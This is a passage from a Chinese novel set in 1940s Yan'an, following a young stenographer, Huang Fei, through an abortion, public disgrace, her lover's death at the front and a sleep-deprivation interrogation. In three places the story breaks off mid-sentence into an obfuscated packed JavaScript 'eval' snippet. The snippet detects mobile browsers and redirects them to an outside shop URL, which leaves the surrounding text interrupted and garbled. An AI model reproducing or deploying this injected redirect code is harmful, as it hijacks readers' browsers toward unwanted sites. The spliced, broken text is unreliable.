在这样的阒然静谧之中,人就格外容易胡思乱想,思绪在黄菲的头脑中散乱地弥漫着,一会儿想到这里,一会儿又想到那里,想着如今的景斌不知在哪里,如果他将来回来,得知自己打了胎,他会难过吗?还是会生气?不过自己也实在没有别的办法,即使他再怎样不高兴,自己如今也只能做这样的选择。 对于这个还没有成形的孩子,黄菲并没有太多的痛心,或者像曾经以为的那样,秉着母亲的天性,堕胎之后内心是多么的痛苦,想到对不起自己的孩子,黄菲却不是这样,打胎之后她最大的感觉就是,劫后余生,这一场大祸总算躲过去了,或者母爱也是学来的吧,自己实在没有这样学习的机会,自从发觉可能怀了孕,黄菲最鲜明的感觉就是恐怖,大难临头一样,首先要做的是处理眼前的危机,至于那些缠绵的情感,还是留待以后吧,等自己有时间喘一口气,再回想起这段经历,或许会有不一样的感受。 黄菲就这样浮想着,在炕上翻了个身,又继续静静地躺着,忽然她发现,自己此时的样子,竟然莫名地仿佛一具尸体,都是一动不动,唯一的不同,就是自己还在呼吸,或者说,自己还能够思考,能够意识到如今的状态与尸体是多么的相像。 当天傍晚,估量着焦文俊要回来了,黄菲勉强从炕上爬了起来,点起炭炉煮了晚饭,她刚刚将白菜汤摆上桌面,焦文俊回来了,一看到黄菲的脸,便不由得惊呼一声:“啊呀,黄菲,你的脸色怎么这样难看?是病了么?” 黄菲点了点头,有气无力地说:“不太舒服。” 焦文俊关切地问:“要去医院么?” 黄菲摇头:“不用了,过两天自己就好了。” 黄菲本来是以为,吃了打胎药之后,流血几天便没事了,哪知她的恶露竟然流个不停,一直过了两周,依然不见停止的迹象,黄菲慌了神,又去找胡瑾,两个人一商量,便知道是没有流干净,胡瑾忧心忡忡:“这样子必须去刮子宫了。” 黄菲黑云压顶一般惊恐:“那样岂不是要给人知道了?” 胡瑾皱眉:“如今又能怎么样呢?一直这样下去,你的身体受不住的。” 甚至可能就这样耗尽了自己,也未可知,所以必须去医院了,先保住性命,其她的之后再忧虑吧。 黄菲左思右想,最后终于只能是去医院,在那里要求刮子宫,她的请求自然是给批准了的,毕竟胚胎已经没有了,现在重要的便是保全女同志的生命,所以会给她刮子宫,做了手术之后,医生又安排她住院三天观察。 躺在病床上,黄菲的一颗心一会儿抽紧,一会儿又放松下来,她紧张,因为这个时候,机关一定已经知道了自己刮子宫的事,放松,则是想到终究是刮干净了,不会有流血而死的危险,于是心中安稳,至于之后要如何面对组织的裁判,怎样面对同志们的眼神,都等到三天之后再说吧。 黄菲一个人在医院里,静静地躺了三天,中间没有人来看她,三天之后,要出院了,颜医生批准了她离开医院,望着黄菲细细的背影,颜若平的心情一时间有些幽幽的,真的有一点心有戚戚,身为妇产科的医生,这些年过来堕胎的女同志,她看得不少了,其中也有像这位黄菲同志这样,年纪轻轻就刮子宫,尤其是还没有结婚,这样今后的名声愈发不好了。 打胎这种罪过,仿佛独属于女人,男欢女爱是两个人的事,怀孕却只有女人承受,一想到那很可能并不想要的胚胎,欢乐也往往不那么痛快,要提心吊胆,如果真的有了呢,倘若正是需要的还好说,假如不是,无论养下来还是打胎,就都是过错了,前者是经济方面的罪过,后者是道德方面的罪孽,女人的身体付出很大代价,精神上也要受折磨,想一想就感觉不公平。 所以这些年,颜若平往往不愿多想,想得多了就会痛苦,对于病人,也只是做到尽职尽责就好,太多投入感情也会让人痛苦,而且有一种无能为力,那是很损耗人的情绪,只是这一回看到了黄菲,那年轻的苍白脆弱,让颜若平沉坠已久的心事又不由得泛起,只是自己除了能让她在这个避风港里短暂休息几天,却再没有了别的力量,这是自己能为同性提供的仅有的帮助。 黄菲离开医院,重新回到机关,第一件事就是找组织上坦白这件事,陆绍功看着黄菲在自己面前低垂了头,声音微微发颤,但却是竭尽全力镇定的述说,心头一阵火起。 这可真的是,不撞南墙不回头,一条路定要走到黑,不愧是有胆量来延安的,她居然敢干出这样的事来,反骨可真硬。 其实不用等黄菲自己来说,她一到医院里要求刮子宫,自己这边就知道了,当时就惊讶得自己张大了嘴,实在意想不到啊,黄菲这个人,看起来很单纯的,洁白干净,竟然能够未婚先孕,真的让人眼珠子都能掉下来。 等陆绍功冷静下来又一想,为谭永光抱不平的心一时有所淡化,更多的倒是为黄菲感到沉甸甸,小黄啊,你这可怎么是好呢?你之前一直说的是,和谭永光没有感情,我就劝你,先结婚,慢慢培养感情,你总是不肯听,然而那都是从前,现在你就是想要和人家先结婚,再谈你们小资产阶级讲究的恋爱,老谭都是不会答应的了。 老谭那个人我知道,心高气傲,他虽然是一心看中了你,可是哪能让你这么给他没脸?他这边一门心思想要你,你那边红杏出墙,和别人搞了起来,尤其是还弄出了孩子来,虽然那孩子没有生下来,可是打胎也很丢脸啊,简直就是往老谭脸上刷黑漆,他倘若还能要你,出门都没脸见人,所以你现在倒是不用烦恼怎么拒绝老谭了,你们两个绝成不了。 而且你以后可怎么办呢?条令已经施行了啊,打胎是犯罪,你自己偷偷的吃药,经过谁批准了?总算你还老实,说是自己去买了打胎药,吃了药堕胎,没说是一不留神闪了腰,那胎自己掉下来,倘若一定要那样说,也未必查得出,所以你这是对组织还算忠诚?我得给你个什么处分呢? 半个钟头之后,等黄菲全都说完了,陆绍功吁了一口气,缓缓地说:“小黄啊,你这个错误是严重的,好在你还肯如实坦白,等组织上研究一下,给你结果。” 黄菲叹了一口气:“我知道了。” 然后就站起身来,拖着步子走了出去,仿佛一下子便老了二十岁。 当天晚上,陆绍功回到家中,周庆英刚刚把洗净的衣服晾晒出去,见他回来了,便赶快跟了进来,张口便问:“老陆,你们的那个黄菲今天回来了?” 陆绍功重重地坐在炕上,抬头道:“你的消息倒是灵通。” 周庆英笑道:“这么大一件事,怎么可能不知道?要说黄菲,虽然年纪小小的,倒是让人刮目相看。” 不一般呢,和自己之前想的不同,也不知道她是天生不爱虚荣呢,还是看了莫耶的那篇小说,总之是不向往老干部。 得说莫耶的那一篇《丽萍的烦恼》,虽然不过两个月,却已经在延安掀起好大风波,已经有人在说,是丑化革命军人,攻击党和军队。 那一期的《西北文艺》,自己大略扫了两眼,也看到了这篇小说,当时没有太丰富的感触,只是不由自主把里面的老干部和自己的爱人对比了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111772|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,虽然有很大不同,却也不是完全没有相似,在外面是领导,回到家里也依然是领导呢,总是要自己“提高觉悟”。 所以老干部的夫人,也不是好当的,生活待遇上倒是能比别人好一些,起码有“小鬼”帮忙做勤务,虽然分别开伙,有机会也能沾光吃好一点,然而付出的那些代价啊,也不是一句话两句话说得完的。 陆绍功“哼”了一声:“你还夸她呢?” 之前不是很看不顺眼?在那里疑神疑鬼的。 周庆英笑着说:“我现在知道她是个有骨气的人。” 团长她不要,一定要找青年学生,穷作家,可见是不一样的。 对于这些外面来的年轻的女学生,延安的男同志们自然一律是欢迎的,只是女同志的心理就很有些微妙,尤其是那些参加过战争的女英雄,对于女学生,公开的态度自然也是热情的,谁也不能说不喜欢,可是悄悄地,却总有一些暗影在心里。 多年的战斗,让她们都锤炼得豪迈,本来也不觉得,只是与外面来的女学生一比,就发觉自己缺乏女人味,丈夫又是多年的革命资历,在革命队伍里有一定的位置,很容易吸引崇拜英雄的年轻女学生,这让人有时候不免心中不自在,陕北那些缠足、愚昧、不识字的乡下婆姨,不能够与自己争,可是女学生就不一样,有知识有文化,往往来自城市,绝不像那些陕北婆姨,一股土包子气,那可都是“洋包子”呢,喝洋墨水,吃洋面包长大的,别看都端端庄庄的,可是总觉得一股狐狸精气息。 所以一说到女学生,周庆英和几个要好的老姐妹,都有点心烦,女人有知识是好的,但女人有知识便勾引别人的男人,就不好了,不是自己思想封建,政治落后,实在是人之常情,别说是自己,就是中央的圈子里,也照旧是这样,当初吴光伟那一件事,就很让人气恼,虽然许多人不知道,但自己知道,想一想便为□□感到冤屈,想来就是为了这一件件的糟心事,□□出走苏联,给江青占了位置,这就是前车之鉴。 陆绍功听了周庆英这两句评点,一时间不知是好气还是好笑,抽搐着脸颊上的肌肉,说道:“她这叫有骨气?她是政治上天真幼稚,生活上腐朽堕落,纯就是把自己给毁了,一辈子的污点。” 周庆英笑道:“且不说这些,你打算把她怎么办呢?” 陆绍功站起身来,在地上不住地踱着圈子:“怎么办?错误是严重的,处分是一定要有的,不然不能够严肃组织纪律,现在机关里的意见也很不一致,有一些同志主张要严厉处理,我觉得小黄毕竟还年轻,虽然一时失足,走错了路,好在知道悔改,和组织如实坦白,她这样迷途知返,组织上也应该给她一个机会,让她改正错误,首先检讨肯定是要作的,要作出深刻的反省,另外她不是正在要求入党吗?我看给她无限期延长入党预备期,也就差不多了。” 周庆英噗嗤一笑,自己的爱人啊,这可真的是,板子高高举起,轻轻放下,如今女人打胎可是与从前不同了,不经过组织允许,私自打胎是犯罪,本来是应该送去李家沟的看守所的,得说那看守所原本是在清凉山,当初有那颓废落后的人,动不动就说,“大不了上清凉山”,后来日本轰炸,就转去了李家沟了。 现在老陆要黄菲作检讨,又延长她的入党预备期,虽然从政治生命上,是很严重的打击,不过比起送李家沟,毕竟已经很是宽大了。 陆绍功看了看她,也明白她的意思,自己对黄菲,是太过宽容了,不然又能怎样呢?她是个出色的速记员,肚子里的胎现在反正已经是打了,难不成就为了这件事,把她送到法院?那样的傻事,陆绍功是不肯做的,机关里正缺人啊,工作是繁重的,黄菲这三天不在,就已经积了一堆事在那里,倘若要把她办成犯罪,就更加的麻烦,所以陆绍功想着,就这么算了吧,天底下哪有完全不打折扣的纪律? 听陆绍功这样一说,周庆英点了点头,这样很好,终究也是女人,自己并不希望看到黄菲落到那样惨,毕竟黄菲已经证明了,她是一心为了爱情,这倒是很值得钦佩的,所以自己对她,也就没有了之前的猜疑,反而是为她感到惋惜,这一次的坎坷,但愿她能够顶过去,之后总有路可以走。 18.第十八章 逝去的人 第十八章 逝去的人 黄菲作了痛切的检讨之后,重新回到机关工作,这一回她便发现,同志们对自己的态度两样了,从前如同春风拂面的感觉消失了,变得十分淡漠,说话冷冷的,脸上的肌肉都好像不会动了,表情僵硬。 本来黄菲流产之后,身体就虚弱,这一阵都很不愿意照镜子,只是一块巴掌大的小镜子,却偏偏出奇地清晰,照见自己面色发黄,虽然还没有结婚,却已经成为“黄脸婆”,延安虽然注重的是“飒爽英姿”,不讲究修饰容貌,可是看到自己如今这个样子,黄菲依然感到心中难过,莫非自己年纪轻轻,从此就失去了青春? 在这样的身体状况之下,工作自然就感到比从前吃力,而同志们又是这样的冷淡,这便让日子更加难熬,黄菲从没有想过,自己在延安居然要“熬日子”,如今她每天去机关,进窑洞的门,都感觉头皮发麻,是硬着头皮进去,在那里面简直度日如年。 而且也不知究竟是真实,还是自己的错觉,黄菲总觉得有同志在背后嘁嘁喳喳议论自己,说着自己打胎的事,这让她脸上发烧,心跳加快,浑身肌肉都绷紧了,每当这个时候,黄菲就赶紧对自己说:“快放下你的那些蠢念头,没有人在背后嚼舌根,都是你自己胡思乱想,革命队伍里,怎么会有那么长舌头的人呢?” 黄菲强自镇定,希望能够像从前一样工作,只是情形却不能如她所愿,每天在机关,都很是煎熬,最盼望的就是工作时间的结束,快快回去自己住的窑洞,焦文俊在这件事上倒不很介意,只是数落自己有些傻,此外依然是关心的,另外胡瑾对自己也很是关切,拉琴给自己听,那一块小小的世界,俨然便是自己的避难处。 黄菲就这样一边坚持忍耐,一边期待景斌归来,在她看来,只要景斌回来了,与自己结婚,之前的那些羞惭窘迫,就都可以消弭。 在这样的期盼之中,时间到了七月,延安发生了一个大新闻,叶群要与□□结婚。 起初听到这个消息,黄菲很是吃了一惊,□□不必说,叶群她也是知道的,当初女子大学还在的时候,叶群是组织教育科的科长,负责安排课程教学,另外课余活动,时常能看到她,和大家一起种菜,跳苏联集体舞,虽然不是很要好的朋友,但黄菲对她并不陌生。 旁人都知道,叶群是个美人,她的个子不高,身材苗条,相貌清秀,在延安也是有些名气的,不过那只是她的外貌,黄菲对叶群的性格也有所了解,记忆中叶群笑起来很是明媚灿烂,这个时候细细回想,叶群是开朗的,很喜欢与人谈天,待人热诚,另外也有沉静的一面。 黄菲清楚地记得,有一次难得播放电影,大家都去看电影,黄菲也随着同伴一起经过校园,偶然一瞥,看到叶群一个人坐在树下静静地读书,仿佛这边的扰攘根本不能触动到她,在她的身边,自成另一个世界,与外界毫无关涉,当时黄菲就觉得心中一动,只觉得那一刻的叶群是一道风景,相当的有韵味,与别人很不相同。 倘若那一回是一个男子看一个女子,那么便是“金风玉露一相逢”,十分浪漫,如同传统小说中一样,才子佳人,只可惜不是,那是一个女子看另一个女子,便少了那一份旖旎。 这一桩婚姻,延安人人议论: “四大美女,又有一个嫁给了首长。” “美人总是要配英雄的。” 延安的四大美人,说法不同,黄菲听到的是,江青、孙维世、浦安修、叶群,江青赫赫有名,已经是主席夫人,浦安修是彭总的爱人,如今叶群也与林校长结了婚,算起来四个有名的美人之中,只有孙维世还没有嫁给首长。 这一桩英雄与美人的结合,在延安热议了好一阵,一直到了八月,还依然能听到人津津乐道。 这一天黄菲回到窑洞,躺在那里正静静地养息,忽然外面有人急促地敲门,焦文俊利落地站起来开了门,油灯幽暗的光线之中,一个男子猫着腰钻进来,进门便转动着脖颈四下张望,仿佛在寻找着什么,很快便看到了另一个人,他忙伸长脖颈,冲着那躺在炕上的年轻女子焦急地说:“黄菲,黄菲!是你吗?我给你带信儿来了!” 黄菲正自迷糊朦胧,忽然间听到有人呼唤自己,那沙哑的声音仿佛熟悉,她这一阵神经紧张,已经有一点好像惊弓之鸟,听那人语调焦急,登时便一下子从炕上坐起来,睁大了眼睛一看,油灯光下,赫然竟是沈芒。 黄菲一见是他,心中便不由自主地一紧,连忙往炕沿边挪了挪身子,仔细一瞧,几个月不见,沈芒也大变了样子,头发凌乱,胡子拉碴,两颊和两只眼窝都深深地陷了下去,一副难民相,神情之间颇有一点仓皇,再一看身上,灰布军装上一道一道黑印子,也不知是在哪里蹭的。 见到沈芒,黄菲本能地便想到景斌,满心的焦灼,却不好立刻便问,她挪下了地,拿过暖水壶往杯子里倒水,递给沈芒:“刚刚从前线回来么?辛苦了,快喝一杯水润润喉咙。” 沈芒虽然有一件急事要告知她,然而这一路赶得紧,嗓子里确实如同火烧一样,便接过水杯,一仰脖咕嘟咕嘟一饮而尽,然后抬起左手在嘴巴上一抹,抹干了水珠,他这么一抬手臂,给黄菲看见了左边衣袖上穿了一个洞,圆圆的,仿佛一只空荡荡的眼睛。 黄菲扶着桌子站在旁边,眼见沈芒喝完了水,这才赶快问道:“沈芒,你怎么忽然回来了?大家都回来了吗?” 她纵然不问,沈芒也要说的,本来特意找到这里,就是为了这件事,于是沈芒侧过头去,有些费力地说:“黄菲同志,有一件事我要告诉你,你一定要坚强,一定要挺住,我们革命者,要禁得起任何打击……” 他这一串的前言,让黄菲又是急又是慌,越听越是忐忑,焦躁地跺着脚追问道:“究竟是怎么回事,你倒是说啊!莫非景斌挂彩了?住进了医院?” 沈芒垂下头去,有些不敢看她的样子,一个字一个字从牙缝里挤出来:“黄菲,景斌他……他……他牺牲了。” 一听这句话,黄菲登时“唉哟”一声,身子一晃,便朝地上倒去,沈芒和焦文俊连忙一左一右扶住了她,没有让她直接摔倒在那里,然后扶着她躺到了炕上,沈芒倾过身子连连呼唤:“黄菲,黄菲,你要支持住啊,一定要保重自己的身体,继续革命。” 焦文俊也说:“你最近身体不好,可得留神自己的健康。” 沈芒这时候也发现黄菲一脸焦黄,病恹恹的样子,便问道:“黄菲,你怎么了?这一阵病了么?” 焦文俊撇了撇嘴,道:“可不是身子伤得厉害么!你是没见到,我们小黄这些日子遭的这个罪。” 景斌如今是死了,什么都说不到了,倘若他还活着,焦文俊真的要挖苦两句,自己跑走了,把黄菲一个人丢在这里,黄菲这一向的处境她也看到了,那真是生不如死,难为她年纪轻轻,咬着牙居然能顶下来。 沈芒连忙问:“究竟是怎么了?” 黄菲趴在炕上正痛声大哭,焦文俊想着这事在延安反正也不是秘密,便三言两语简略地给他说了,沈芒听明白了,又是跺脚又是扼腕:“黄菲,真是难为你了,这可也真的是,批判这种事情,就好像对阶级敌人一样。” 虽然不好多说,但在沈芒看来,对堕胎如此惩罚,是太过严峻了,让人不自禁地便想到了柔石的那一篇小说,《为奴隶的母亲》,虽然故事的情节与黄菲的经历不是一样。 黄菲哭得不能止歇,中间几乎晕厥过去,一个钟头之后,终于稍稍平静下来,勉强支撑起身体,靠着被子坐在那里,慢慢地问道:“沈芒,景斌究竟是怎样去的?” 沈芒两只手紧紧地攥在一起,回答道:“我们到了前线,起初是随着指挥部一起,在比较安全的地方,后来景斌说,要获得抗日战士真实的战斗生活材料,就应该去最前方,我们就去了,也都配了枪,在一线连队跟着一起作战,有一次转移,中途遭遇了鬼子,他们攻击我们,我们要守阵地,一颗子弹飞过来,就打中了景斌的头,可叹他连一句最后的话都没有留下来,就这么牺牲了。黄菲,你不要怨景斌,其实到了后来,鬼子攻击越来越厉害,指挥部也不安全了,随时能遇见鬼子,团部包括炊事员在内,人人都要作战……” 沈芒说得絮絮叨叨,东一句西一句,劝解着黄菲。 黄菲身体绵软地靠在那里,两只眼睛直直的,一句话也不说,沈芒说的这些,她仿佛是听到了,又好像没听到。 沈芒说了一阵,该讲的都已经反复讲了几遍,见黄菲依然是一言不发,只顾发呆,自己坐在这里,一时也不知该怎么样是好,他犹豫了一下,重重地叹息了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吃着饭,何敏修劝慰着她:“过去的已经过去了,今后的路还长着,可以重新开始。” 黄菲怔怔地望着碗里的八宝饭,道:“敏修姐,我现在终于知道了,人世是复杂的。” 人可以有多刻薄,自己这段时间是见识到了,背地里议论自己的刮宫:“好像关云长刮骨疗毒。” 这是劳苦出身干部的比方。 倘若是知识分子呢,则是另一种刁钻:“如今便觉得曹雪芹描写得生动,尤二姐吞金自逝,‘恨命含泪便吞入口中,几次狠命直脖,方咽了下去’,这一位不过是把生金换做了打胎药,那画面如在眼前,。” 本来以为都是自己多心,然而那一次是亲耳听到了,那两个以为旁边没人,便说起来,恰好给自己听见,当时只觉得脑子里一阵轰响,一颗心几乎跳到嗓子眼,眼前金星乱冒,又是气愤,又是惭愧,眼泪几乎就要流出来,强自忍住了,悄悄地走开。 何敏修满眼同情地看着她,作为一个向往革命的青年,黄菲并不是开在和暖春光中的花朵,她是见识了人间的黑暗,这才投奔延安,只是在延安,她遇到了另外一些人和事,一颗原本充满热情的心,于是遭遇了冰风。 何敏修想着一下,慢慢地说:“现实是很复杂的,唯其知道它是复杂的,所以才更加可以想得清楚,知道自己要怎样做。” 往往真正坚定的革命者,就是那些更明了其中真实的人,这样的人不是一心怀抱着梦幻憧憬,而是在真的看清了之后,做出了选择。 中饭之后,两个人分别,何敏修走在回机关的路上,眼前依然浮现着黄菲的脸,简直就是鲁迅先生那一篇《故乡》,只不过是少年时候的闰土迅速转为中年时代。 黄菲自然不是贫农家的孩子,只不过在乡下寄养过,晓得农务,所以把她往那边去比拟,当初刚来延安的时候,多么的有活力,黄菲当然不是陕西女子那种强壮,结实得鼓起来的两颊红得如同苹果,可是面上那一点嫣红,显得极其鲜活灵动,只是现在黄菲的脸,却如同二十几年后的闰土,“已经变作灰黄”,黄菲刚刮过子宫的时候,自己远远地瞥见她一次,当时就觉得她的气色很差,这一阵必然是为了景斌牺牲,又遭受了打击,简直没有喘息之机,让她怎样恢复呢? 想着黄菲的刮子宫,何敏修不由得便想到自己,那一年三级选举,自己提前回来,其实也正是为了这件事,意外怀孕,只是不同于这些年轻的姑娘,自己是早就知道不久之后,打胎就是犯罪,所以赶在规定执行之前,快快了结了这件事,在这样的现实之中,作母亲与作革命者,是不能相容的。 何敏修想着想着,一不留神脚下绊了一下,差一点摔倒,她连忙定了定神,专心走路,再不去多想。 19.第十九章 烈风 第十九章 烈风 这一年其余的时光,黄菲实在不知道自己是怎样过来的,只是当她恍然意识到时间的时候,发现已经是一九四三年的二月,马上要过春节了。 虽然是抗战期间,虽然是严寒天气,然而春节期间的延安,氛围也依然是热烈的,随着节日将近,人们的脸上都焕发出光彩,每接近除夕一天,眼神就更亮一分,过年了,放假了,有演出看了,听说新排了戏,可好看呢! 或许人终究是难以做到绝对不受外界的影响,这将近一年的时间,黄菲虽然经历了人生之中最为痛切的事,但到了个时候,因了周围的热烈,她那一颗原本沉在幽深冰潭之中的心,也恢复了一点生机,仿佛是深埋在雪层之下的野草,又发出了一点绿绿的新芽,开始留意旁人对过年的议论,都有些什么热闹可看。 果然很是让人激动的,鲁艺排演了一出新的秧歌剧,《兄妹开荒》。 二月五号大年初一上午,黄菲跟着其她人一起,去了城南门外的广场,到那里一看,简直是人山人海啊,这一天除了过年,也是庆祝中国和英美订立新约,过去的不平等条约都废除了,举国欢庆,延安也不例外,当天广场上放眼望去,满是人头,黄菲看得头晕,估算着大约有上万人。 就是在这一次的庆祝会上,黄菲看到了《兄妹开荒》:“雄鸡雄鸡高呀么高声叫,叫得太阳红又红,身强力壮的小伙子,怎么能躺在热炕上作呀懒虫,扛起锄头上呀上山岗,站在高岗,好呀么好风光!……” 黄菲两只手抄在棉衣的袖子里,站在一处小土坡上,翘首往前面看着,真的有趣,非常活泼,与那些典雅的诗词截然两样,是不同的趣味。 这一出秧歌剧很是短小,不多时便演完了,然后是下面的节目上场,只是黄菲还依然意犹未尽,很想再看一次。 于是第二天,打听到另一个地方又有秧歌表演,黄菲便又赶去了,就为看《兄妹开荒》,也有许多人同她一样,追着看,“去看王大化!” 这部秧歌剧如此轰动,春节之后依然为人所关注,《解放日报》整版登出了剧本,还有社论,可见高层也是注意到了的。 既然引领了动向,延安许多普通人便也不住地议论: “真是好看,一看就让人想要发笑。” “王大化把个陕北的年轻农民给演活了!” 说着说着,便说到了二流子问题:“是应该好好改造,出力劳动生产,能过好日子,整天躺在炕头上,等房顶上掉馅饼呢?一天吃什么?” “男二流子也就罢了,还有女人也当二流子,脸皮不是一般的厚,这样的女二流子,是应该让她的丈夫好好管一管。” 黄菲正在誊写速记稿件,听到了这句话,不由得便抬起头来,低低说了一声:“那不是夫权又回来了?” 那边几个人登时便向她投来一瞥。 黄菲于是感觉到是失言了,自己为什么要说这一句呢?自从经历了那一次婚姻的波澜,到如今自己已经很是谨慎了,听到新来的年轻女同志抱怨领导冷漠,革命队伍里缺少温情,便只是默默的听。 她本来是旧式家族出身,在父亲的家中,一向是少说多听,特别克制,初来延安的时候,在这样一个不同的环境,曾经有一段时间解除了束缚,天性得以舒展,很爱说话,对着这样一群志同道合的同龄人,简直是把什么心事都说了出来,可是最近的一年,黄菲感到自己又渐渐回到了在桂林平乐时的样子,谨言慎行,把许多话都藏在心里。 可是方才,自己实在是忍耐不住,改造二流子,自己早就知道,女二流子的事,也曾有所耳闻,给夫家严格管束,要帮助丈夫整理家务,倘若依然那样懒惰,那么丈夫打骂,政府不管,也不准离婚。 当初听说这件事,黄菲为了自己一向的困厄,对此的触动并不很深,只是心中一阵不自在,便过去了,然而此时听到旁人的评论,不由得便一阵难过,黄菲是不赞成女人的懈怠,人如果怠惰,要怎样生活呢?可是由丈夫来进行惩罚,她总觉得心里过不去这一道坎。 从前在女大的时候,政治课上的学习,毛主席的《湖南农□□动考察报告》里面说得很明白,“这四种权力--政权、族权、神权、夫权,代表了全部封建宗法的思想和制度,是束缚中国人民特别是农民的四条极大的绳索”,那时候黄菲与同学们的讨论,“我以为把‘农民’换成‘女人’,是更加贴切的,都是政权族权和神权也束缚男人,可是‘夫权’却是专门对着女人的。” 当时熊晖用力点头:“是的,还有‘父权’呢,当爹的也管着儿子,可是对女儿,就更加严峻,完全的无情。” 与黄菲的情形类似,熊晖的父亲也是非常严酷,极其重男轻女,相比之下,高明霖的父亲反而是开明的,是一个“资产阶级知识分子”。 然而如今,为了抗战,为了革命,夫权居然又回来了,虽然黄菲是以为无论任何人都不该懒惰,作寄生虫,可是这个任由丈夫打骂,婆家的人监管,也实在难以接受,只要一设想那样的日子,黄菲就感到头皮发麻,封建社会女人的苦,写在小说里多数都是一样,就是丈夫殴打辱骂,婆家一家人虐待,在那样的故事里,女人是给人同情的一方,表现的是封建制度的罪恶,可是如今在延安,居然又都重现,而且是以正义的名义。 所以此时,自己才一个克制不住,溜出了那么一句话。 黄菲为了这一时的冲动,接连两天都感觉忐忑,好在都还风平浪静,然而到了第四天,忽然有同志通知她,要她交接手头的工作,组织上给她调换了岗位。 黄菲虽然有些不安,却本着职责的缘故,认真做了交接,将一向以来的工作材料交给了新来的速记员,一个十七八岁、刚刚毕业的女同志,然后就回到自己的住处等待消息。 可是到了第二天,等来的不是调令,而是来了几个保卫科的同志,将她带走了,隔离审查。 之后的一周,对于黄菲简直是黑暗无比的噩梦,保卫科的几个干事白天黑夜地审,坐在上面的几个人,拍着桌子瞪着眼睛,唾沫横飞,逼迫黄菲“交待问题”,是不是国民党或者日本人的特务,是不是反党?又拿出两个笔记本来,都是黄菲这几年的日记,为了仿效谢冰莹,黄菲自从来到延安,就开始写《延安日记》,为数不多的津贴都拿来买笔记本和铅笔,好在是用的速记方法,所以节省纸张,三年了,只不过用完了一个笔记本,第二个刚刚用了一半。 保卫科是很高效的,也很周密,他们前脚带走了黄菲,后脚就搜查她的个人物品,别的都没什么,只是这两个笔记本很神秘,一看就相当敏感,他们当然知道黄菲是速记员,为了解密她的笔记,便找了另一个速记员,就是接替黄菲的那一位,来翻译她的秘密记录,可是黄菲在速记方面很是钻研,她的日记不但使用了常规速记符号,还有一些自创的符号,真的好像密电码一样,旁人难以了解,所以翻译了半天,有些句子依然是一头雾水,这就更坐实了“特嫌”,保卫科的人就挥舞着笔记本,对着黄菲吆喝:“你说,这里到底都写了些什么?” 黄菲七天七夜没有合一下眼,每当她稍稍闭上眼睛,想要休息一下,就给人严厉地叫醒,倘若实在不肯睁开眼,就会给人推醒,到最后黄菲疲劳至极,极度的缺乏睡眠绷断了她最后一根神经,她不由得大叫出来:“让我走!我要回去,我不要再待在延安!” 五月十七日,礼拜一,段锐经过一个礼拜天的休息,感到精力又回到了自己身上,重新精神充沛,他快步往组织部那边走,经过一排窑洞,忽然听到其中一个窑洞之中,有一个女子声嘶力竭的叫喊:“我要离开延安!我要回家里去!” 段锐微微一皱眉,问身边的警卫员:“那是什么人在说话?” 警卫员笑着说:“保卫科前一阵抓了一些特嫌,都是有问题的人,正在审查,有些人受不住,就乱叫。” 段锐点了点头,本来还没有太在意,正准备继续走,这时候听到那个窑洞之中的犯人又在嚷着:“这不是当初说的革命,都是骗人的,你们欺骗了我!” 听了这几句话,段锐皱了皱眉,道:“你去问一下,审问的那个是什么人?” 警卫员答应了一声,往窑洞这边走来。 黄菲感到自己已经要疯了,各种恐怖的念头在头脑中乱撞,眼前时常出现幻象,有的时候她简直想要跳起来,一头撞在墙上,黄菲幻想着,如果自己此时正站在险峻的山崖上,甚至可以毫不犹豫地跳下去,就此结束一切的灾难。 而有的时候,她又想到了《啼笑因缘》,当年读这本书,里面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131611|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈凤喜让她脊背发凉,读完之后,暗暗发誓将来无论遇到什么事,一定要保持清醒,绝不能给人逼疯,所以黄菲便又勉强镇定下来,大声呼叫:“我是冤枉的!我要回家!” 就在五月十九号,囚室的门给打开了,一个保卫干事走了进来,黄菲以为还是要继续审讯,可是对方却对自己冷峻地说:“黄菲,站起来,首长要见你。” 黄菲勉强从一堆干草上爬起来,跟着他踉踉跄跄走出了窑洞,站在门口处,白亮的日光刺着眼睛,黄菲不由得抬起手来遮挡,大约十天了吧,自己终于又重见天日,虽然不知接下来是要如何,是不是要押解自己去枪毙。 她跟着那个保卫干事一路走,也不知走了多久,终于在一个窑洞门前停了下来,黄菲正惶然着,那个人把她往里面一推,黄菲就身不由己地进去了。 到了里面,有三个男人,一个显然是高级干部模样,戴着手表,文质彬彬,旁边坐着的仿佛是秘书,还有一个挎着枪的人,似乎是警卫员。 那个高级首长见了她,面上竟然很是和蔼,冲着黄菲微微一笑:“黄菲同志,你来了,请坐。” 警卫员给她搬了一把椅子,黄菲恍恍惚惚地坐了下来,身体还不住地摇晃,连续这么多天没有睡觉,脊椎骨都酥了,支撑不住身体。 高级首长看到她这个样子,也暗暗叹息,□□还是应该本着救人的目的,像这样子车轮战,不让睡觉,是有点太残酷了。 然后他便问道:“黄菲,你的情况我已经调查过了,没有大的问题,现在决定先让你回去休息一下,等再审查一下,真的没有问题,就恢复你的工作,你看这样好吗?希望你能够坚定信心,继续为革命而努力。” 